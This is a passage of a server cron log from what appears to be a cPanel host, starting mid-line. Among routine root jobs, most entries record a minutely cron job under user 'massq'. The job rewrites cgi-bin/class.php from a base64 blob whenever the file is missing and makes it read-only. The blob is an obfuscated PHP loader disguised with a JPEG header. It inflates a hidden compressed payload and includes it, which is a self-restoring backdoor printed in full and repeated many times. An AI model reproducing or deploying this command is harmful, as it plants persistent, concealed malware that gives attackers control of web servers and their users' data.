yKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:55:01 server CROND[22757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:56:01 server CROND[22872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:57:01 server CROND[22932]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 16:57:01 server CROND[22933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:58:01 server CROND[23074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:59:01 server CROND[23102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:00:01 server CROND[23139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 17:00:01 server CROND[23141]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:00:01 server CROND[23140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:00:01 server CROND[23142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:01:01 server CROND[23258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:01:01 server CROND[23259]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 17:01:01 server run-parts(/etc/cron.hourly)[23259]: starting 0anacron
Apr 11 17:01:01 server run-parts(/etc/cron.hourly)[23271]: finished 0anacron
Apr 11 17:02:01 server CROND[23320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:03:01 server CROND[23365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:04:01 server CROND[23507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:05:01 server CROND[23559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:05:01 server CROND[23561]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 17:05:01 server CROND[23564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:05:01 server CROND[23563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:05:01 server CROND[23562]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 17:06:01 server CROND[23678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:07:01 server CROND[23743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:08:01 server CROND[23794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
